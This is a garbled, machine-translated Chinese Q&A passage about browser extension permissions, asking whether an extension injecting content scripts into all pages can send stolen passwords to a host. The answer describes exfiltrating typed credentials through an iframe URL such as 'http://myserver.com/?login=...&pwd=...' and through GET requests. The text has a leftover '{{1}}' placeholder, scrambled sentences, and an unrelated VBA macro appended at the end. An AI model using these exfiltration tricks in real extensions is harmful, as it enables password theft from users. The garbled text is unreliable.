修改:感谢@wOxxOm指出"permissions"
中的网址被视为"url/*"
,
似乎任何在其权限中具有http:// .json
的扩展都是不安全的。这对我来说真的很奇怪,因为不将其视为"/*"
会使其安全。为什么chrome & firefox
这样做了?我是否遗漏了同源政策的内容?
我想知道我是否正确理解Chrome允许或禁止将其数据(被盗密码)发送到"permissions"
字段中指定的网站的扩展程序,例如,在以下{{1}中}:
manifest.json
它无法在网络上的任何位置书写,但只能阅读 {
"manifest_version": 2,
"name": "insoumis", "version": "1.1.4.21", "description": "",
"background": {
"scripts": ["background.js"], "persistent": false
},
"content_scripts": [
{
// can inject code in any page
"matches": ["http://*/*","https://*/*"],
"js": ["content.js"]
}
],
"permissions" : [
"declarativeContent","tabs","storage","notifications","activeTab",
// but cannot send back the stolen passwords
"http://insoumis.online/data.json"
]
}
?
如果我用http://insoumis.online/data.json
替换此行,它将不再受限于该URL,因此允许我在整个主机上使用XMLHttpRequest并将我的数据发布到该主机中的任何URL,如图所示在下面的代码中?
http://insoumis.online/*
答案 0 :(得分:0)
我想我现在明白为什么扩展是不安全的:因为它很难/不可能 - 一旦它可以注入内容脚本 - 就可以保证它的安全。
注入内容脚本意味着允许代码在键入时窃取密码。
然后几乎不可能禁止代码在互联网上发送:在任何页面中,添加<iframe url="http://myserver.com/?login=...&pwd=...">
,如果需要,请使用下面的技巧
即使您只允许向一个网址发出GET
个请求:
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://myserver.com/data.json", true);
可以将少量数据发送到myserver.com
:
1
0
因此,只要url
中的"permissions"
和&#34; http://*"
中至少有一个"content_scripts"
matches
Option Explicit
Private Sub Workbook_Open()
With ThisWorkbook.ActiveSheet
If .Name = "Sheet1" Then
.Range("A100").Activate
.Range("A1").Activate
End If
End With
End Sub
,安装扩展程序就会非常不安全